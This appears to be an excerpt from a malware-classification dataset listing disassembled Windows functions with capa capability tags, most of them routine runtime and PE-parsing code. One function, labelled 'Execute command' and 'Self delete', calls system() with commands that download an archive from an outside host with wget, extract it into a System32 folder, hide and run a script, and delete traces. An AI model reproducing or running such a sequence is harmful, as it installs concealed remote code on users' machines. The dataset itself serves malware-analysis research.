joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2511219a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x25115d064]
mov rbx, rcx
test esi, esi
jle 0x251121ad0
mov rax, qword [0x25115d068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2511219eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x251121a75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2511219d0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x251121af2
mov rax, qword [0x25115d068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x25115d068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x251121ad7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x251121a6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x251121a80
add dword [0x25115d064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x25115d068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x251121a6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x2511219f8
mov rax, qword [0x25115d068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x251121e70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x25115d0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x25115d080]
test rbx, rbx
je 0x251121ecc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x251121ec3
test rsi, rsi
je 0x251121ec3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x251121ea8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2511220e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x2511220f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x251122100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x251122110
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x25112215d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x251122154
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x25112215f
add rax, 0x28
cmp rax, r9
jne 0x251122140
xor eax, eax
ret

Function at 0x251122160
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x2511221f0
mov rdx, qword [0x25115a730]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x2511221de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x2511221de
cmp word [rax + 0x18], 0x20b
jne 0x2511221de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x2511221f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x2511221c9
add rbx, 0x28
cmp rbx, rdi
je 0x2511221f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x2511221c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x251122200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x25115a730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x251122220
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x251122228
ret
cmp word [r8 + 0x18], 0x20b
jne 0x251122220
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x25112227d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x251122274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x251122220
add rax, 0x28
cmp rax, r9
jne 0x251122260
xor eax, eax
ret

Function at 0x251122280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x25115a730]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x25112229f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2511222a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x25112229f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2511222c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x25115a730]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x2511222e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x2511222e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x2511222e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x251122330
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x251122327
test rcx, rcx
je 0x2511222e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x251122318
xor eax, eax
ret
Function at 0x251122340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x25115a730]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x25112235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x251122368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x251122380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x25115a730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2511223a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2511223a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2511223a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x2511223a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x2511223f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x251122400
add rdx, 0x28
cmp r9, rdx
jne 0x2511223e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x251122410
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x25115a730]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x251122432
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x251122440
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x251122432
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x251122432
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x251122432
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x251122495
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x2511224a8
add rdx, 0x28
cmp rdx, r10
jne 0x251122480
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x2511224b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x2511224c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x25112249e
test ecx, ecx
jg 0x2511224b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x100002e14
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x10000c168]
xor rax, rsp
mov qword [rsp + 0x260], rax
and qword [rsp + 0x40], 0
and qword [rsp + 0x50], 0
mov rdi, rcx
mov rcx, qword [rcx]
lea rax, [rsp + 0x50]
mov r9d, 0x2001f
xor r8d, r8d
mov rsi, rdx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
test eax, eax
mov ebx, eax
jne 0x100002f0d
test rcx, rcx
je 0x100002e82
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rcx, qword [rsp + 0x50]
test ebx, ebx
mov qword [rsp + 0x40], rcx
jmp 0x100002ea8
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.100002e14
mov rcx, qword [rsp + 0x40]
mov ebx, eax
test eax, eax
jne 0x100002f0d
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor edx, edx
mov dword [rsp + 0x48], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x100002e90
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x100002efa
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x40], 0
mov rcx, qword [rdi]
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
test rcx, rcx
je 0x100002f18
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.100009600
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x10000363c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x10000c168]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rsi, r9
mov rbx, r8
mov rax, rdx
and qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rcx
and qword [rsp + 0x48], 0
and qword [rsp + 0x70], 0
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x1000036aa
call fcn.100002a30
mov ebx, eax
jmp 0x1000037ea
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1000036cd
call fcn.100002a30
mov ebx, eax
jmp 0x1000037e0
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x1000036f2
call fcn.100002a30
mov ebx, eax
jmp 0x1000037e0
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
add eax, 1
cmp eax, ebx
jae 0x10000372c
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x100003722
lea rcx, [rsp + 0x70]
call fcn.100005d2c
nop
mov eax, 0x8007000e
jmp 0x100003803
mov ecx, eax
test eax, eax
je 0x100003769
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x10000375f
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x100003769
lea rcx, [rsp + 0x70]
call fcn.100006174
mov rax, qword [rsp + 0x70]
jmp 0x100003773
mov ecx, 0x80070057
call fcn.1000029b8
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x100003788
test rax, rax
jne 0x100003794
mov ebx, 0x8007000e
jmp 0x1000037e0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x1000037bb
call fcn.100002a30
mov ebx, eax
jmp 0x1000037e0
mov ecx, eax
mov rax, qword [rsp + 0x70]
and word [rax + rcx*2], 0
mov r8d, dword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.100004414
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x100003801
lea rcx, [rsp + 0x70]
call fcn.100005d2c
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.100009600
add rsp, 0x490
pop rdi
pop rsi
pop rbx
ret
Function at 0x100005a80
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov esi, r9d
xor ebp, ebp
lea rax, [0x10000ca20]
lea rbx, [0x10000ca00]
mov qword [0x10000ca00], rax
lea rax, [0x100001bc0]
mov byte [0x10000ca18], 1
mov qword [0x10000ca40], rax
lea rax, [0x100001bd0]
mov qword [0x10000ca10], rbp
mov byte [0x10000ca19], 2
mov word [0x10000ca1a], bp
mov dword [0x10000ca1c], ebp
mov qword [0x10000ca48], rax
mov qword [0x10000ca30], rbp
mov qword [0x10000ca20], rbp
mov byte [0x10000ca38], 1
mov byte [0x10000ca39], 2
mov word [0x10000ca3a], bp
mov dword [0x10000ca3c], ebp
mov qword [0x10000c1b8], rbx
lea rdi, [0x10000ca40]
mov r8, qword [rdi]
lea rax, [rbx + 8]
lea rcx, [0x100005940]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rbp
mov r9d, 1
mov rdx, rbx
mov qword [rsp + 0x28], rbp
add rdi, 8
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegisterTraceGuidsW]
mov rbx, qword [rbx]
cmp rbx, rbp
jne 0x100005b23
cmp byte [0x10000c9c0], bpl
je 0x100005b7d
or edi, 0xffffffff
jmp 0x100005bb5
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea r8, [rsp + 0x40]
lea rcx, [0x10000ca70]
mov rdx, rax
call fcn.100005d3c
cmp al, 1
jne 0x100005bb1
lea rcx, [0x10000ca70]
mov edx, esi
call fcn.100005fa8
mov edi, eax
jmp 0x100005bb5
mov edi, dword [rsp + 0x40]
mov rbx, qword [0x10000c1b8]
lea rsi, [0x10000c1b8]
cmp rbx, rsi
je 0x100005bec
jmp 0x100005be0
mov rcx, qword [rbx + 8]
cmp rcx, rbp
je 0x100005bdd
call qword [sym.imp.ADVAPI32.dll_UnregisterTraceGuids]
mov qword [rbx + 8], rbp
mov rbx, qword [rbx]
cmp rbx, rbp
jne 0x100005bca
mov qword [0x10000c1b8], rsi
lea r11, [rsp + 0x60]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x100005fa8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov rdi, qword [0x10000c330]
mov ebx, 1
jmp 0x100006048
test ebx, ebx
js 0x100006057
mov rsi, qword [rdi]
test rsi, rsi
je 0x100006044
mov rax, qword [rsi + 0x10]
and qword [rsp + 0x80], 0
test rax, rax
jne 0x100005ff0
xor ebx, ebx
jmp 0x100006044
mov rcx, qword [rsi + 0x18]
lea r8, [rsp + 0x80]
lea rdx, [0x100001cf0]
call rax
test eax, eax
mov ebx, eax
js 0x100006031
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsi]
mov r9d, 1
lea rax, [rsi + 0x28]
lea r8d, [r9 + 3]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoRegisterClassObject]
mov ebx, eax
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x100006044
mov rax, qword [rcx]
call qword [rax + 0x10]
add rdi, 8
cmp rdi, qword [0x10000c338]
jb 0x100005fca
test ebx, ebx
jne 0x1000060be
cmp byte [0x10000cad0], 0
je 0x1000060c5
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
test rax, rax
mov qword [0x10000cac0], rax
je 0x1000060b7
lea rax, [rsp + 0x70]
lea r9, [0x10000ca70]
lea r8, [0x1000061a8]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1000060c5
mov rcx, qword [0x10000cac0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x80004005
jmp 0x1000060c5
mov byte [0x10000cad0], 0
test ebx, ebx
jne 0x10000610f
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x100006111
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x1000060e0
test ebx, ebx
js 0x100006159
mov rdi, qword [0x10000c330]
xor ebx, ebx
jmp 0x10000613b
test ebx, ebx
jne 0x100006144
mov rax, qword [rdi]
test rax, rax
je 0x100006137
mov ecx, dword [rax + 0x28]
test ecx, ecx
je 0x100006137
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov ebx, eax
add rdi, 8
cmp rdi, qword [0x10000c338]
jb 0x10000611c
cmp byte [0x10000cad0], 0
je 0x100006159
mov ecx, dword [0x10000cacc]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x100008e00
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x10000c168]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call sub.msvcrt.dll_memset
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x100000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x100008e93
cmp dword [rsp + 0x24], 5
jb 0x100008ead
jmp 0x100008ea9
cmp dword [rsp + 0x30], esi
jne 0x100008ead
cmp dword [rsp + 0x24], 4
ja 0x100008ea9
jne 0x100008ead
cmp dword [rsp + 0x28], 0
jbe 0x100008ead
mov byte [rbx + 0x18], sil
lea rax, [0x1000014d0]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.1000029d8
movzx ecx, byte [0x10000c9c0]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x10000c9c0], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.100009600
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x100009b20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100009b6a
cmp rcx, 0xffffffffffffffff
je 0x100009b6a
cmp word [rcx], 0x5a4d
jne 0x100009b62
cmp dword [rcx + 0x3c], edx
jl 0x100009b62
cmp dword [rcx + 0x3c], 0x10000000
jae 0x100009b62
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100009b6a
mov rax, rdx
add rsp, 0x18
ret

Function at 0x100009dd8
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x100009e43
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x100009e63
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x100001590]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x140001410
Capabilities:
Terminate process

Disassembly:
jmp 0x140021ce0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rdi, rsp
mov ecx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rcx, qword [rsp + 0x80]
call fcn.140003017
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140021d34
mov eax, dword [rsp + 0x88]
jmp 0x140021dc4
lea rcx, [rsp + 0x48]
call fcn.140001f7d
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rdx, str.The_value_of_environment_variable
mov rcx, qword [rsp + 0x60]
call fcn.140005029
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.14000100f
lea r8, [rsp + 0x34]
mov rdx, qword [rsp + 0x20]
mov rcx, rax
call fcn.14000443f
movzx eax, al
test eax, eax
jne 0x140021d91
mov dword [rsp + 0x68], 1
jmp 0x140021d99
mov dword [rsp + 0x68], 0
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x44], al
lea rcx, [rsp + 0x48]
call fcn.1400042b4
movzx eax, byte [rsp + 0x44]
test eax, eax
je 0x140021dc0
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, dword [rsp + 0x34]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400bf2e8]
call fcn.140004250
mov rax, rdi
add rsp, 0x70
pop rdi
ret
Function at 0x140003017
Capabilities:
Query environment variable

Disassembly:
jmp 0x140073b40
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rdi, rsp
mov ecx, 8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ucrtbased.dll_getenv]
add rsp, 0x20
pop rdi
ret

Function at 0x140003210
Capabilities:
Terminate process

Disassembly:
jmp 0x14009d660
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400038cd
Capabilities:
Execute command
Self delete

Disassembly:
jmp 0x14000d700
push rdi
sub rsp, 0x20
lea rcx, str.title_Ghost_Toolbox
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [0x1400b6250]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_del__a__q__f__Windir_System32migwizdlmanifests_run.ghost.cmd__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_wgetwget.exe__q___backups1_http:__xcazy.the_ninja.jp_update_2021_x64_toolbox.update__t_0__O_wgetupdate__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [0x1400b6368]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_wget7z1900_extrax647za_x_wgetupdate__aoa__pghostX2021__o_Windir_System32migwizdlmanifests__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_del__a__q__f__Windir_System32wbemen_USupdate.cmd__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_timeout__t_1__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_rename__Windir_System32migwizdlmanifests_toolbox.cmd_run.ghost.cmd__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_attrib_S_H_R__Windir_System32migwizdlmanifests_run.ghost.cmd__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c__Windir_System32migwizdlmanifests_run.ghost.cmd__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._COMSPEC___c_del__q__f_wgetupdate__nul_2_nul
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x140003904
Capabilities:
Create directory

Disassembly:
jmp 0x140016a20
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, rsp
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
mov rcx, rax
call fcn.1400015f5
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__mkdir]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x140016a6b
mov rcx, qword [rsp + 0x40]
call fcn.1400023d8
jmp 0x140016a6d
mov al, 1
add rsp, 0x30
pop rdi
ret